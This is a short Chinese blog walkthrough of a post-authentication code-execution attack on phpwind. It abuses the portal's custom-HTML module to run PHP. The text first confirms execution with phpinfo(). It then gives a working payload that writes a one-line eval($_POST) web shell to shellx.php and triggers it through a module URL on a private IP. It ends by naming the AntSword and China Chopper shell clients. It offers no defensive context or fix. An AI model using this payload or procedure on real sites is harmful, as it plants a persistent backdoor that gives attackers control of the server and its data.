前提：你已经进入到phpwind 后台。
1、我的环境phpwind如下：
2、点击 门户--》模块管理--》调用管理--》添加模块
3、点击完添加模块后，图如下：
4、选怎自定义html，下一步
5、到当前页面后，填入模块名称，自定义html。（<?php phpinfo();?>）,下一步。
6、点击下一步，会显示成功，并自动跳转如下页面。点击下图中调用代码。
7、接上一步，会显示如下界面，去掉xml访问网址，会指向之前的phpinfo()。
8、显示phpinfo信息如下：可以看出php代码执行。
9、将第5步代码换成（ <?php fputs(fopen("shellx.php","w"),"<?eval(\$_POST[shell]);?>");?> ）
新建一个shellx.php文件，将一句话写入shellx.php文件。
10、点击提交后，并没有自己跳转，那就返回上一级。
11、点击调用代码，访问网址，执行php即可。xml去掉。
12、 http://192.168.1.120:8084/index.php?m=design&c=api&token=bnr79bTPrh&id=4&format=，执行后，我们的一句话就生成了。
13、直接访问，没有404，说明成功
14、蚁剑或者菜刀都可以：
293
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
